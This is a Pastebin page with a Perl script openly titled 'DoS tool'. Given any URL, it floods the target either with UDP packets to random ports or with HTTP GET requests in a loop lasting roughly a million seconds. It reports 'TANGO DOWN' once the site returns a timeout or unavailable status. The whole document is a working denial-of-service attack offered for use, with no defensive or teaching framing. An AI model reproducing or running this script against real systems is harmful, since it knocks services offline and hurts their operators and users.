Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- ############
- # DoS tool #
- ############
- use Socket;
- use strict;
- use LWP;
- if ($#ARGV != 1)
- {
- print "\nperl dos.pl <url> <mode>\n";
- print "<mode> : HTTP | UDP\n";
- exit(1);
- }
- my ($url,$mode) = @ARGV;
- my ($iaddr,$endtime,$psize,$pport,$count,$rep,@code);
- my $ip = inet_ntoa(inet_aton($url));;
- my $ua = new LWP::UserAgent;
- my $req = new HTTP::Request(GET => "http://".$url."/");
- print "\nStarting on ".$mode." mode...\n\n";
- print $url." IP address is : ".$ip."\n";
- $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
- $endtime = time() + 1000000;
- if ($mode eq "UDP")
- {
- socket(flood, PF_INET, SOCK_DGRAM, 17);
- print "Flooding ".$url." (".$ip.") on random ports with 1024-byte packets\n";
- $count = 0;
- for (;time() <= $endtime;)
- {
- $psize = 1024;
- $pport = int(rand(65500))+1;
- send(flood, pack("a".$psize,"flood"), 0, pack_sockaddr_in($pport, $iaddr));
- &CheckStatus(100000);
- }
- }
- elsif ($mode eq "HTTP")
- {
- print "Flooding ".$url." (".$ip.") with HTTP requests\n";
- $count = 0;
- for (;time() <= $endtime;)
- {
- $rep = $ua->request($req);
- &CheckStatus(5);
- }
- }
- sub CheckStatus
- {
- my ($nb) = @_;
- if ((++$count % $nb) == 0)
- {
- print "\n".$count." ".$mode." requests sent to ".$url." (".$ip.") !";
- if (($count % ($nb * 10)) == 0)
- {
- $rep = $ua->request($req);
- @code = split(' ',$rep->status_line);
- if($code[0] ~~ [404,408,503,504])
- {
- print "\n".$url." (".$ip.") TANGO DOWN -> ".$rep->status_line;
- print "\n\nExit...\n\n";
- exit(0);
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement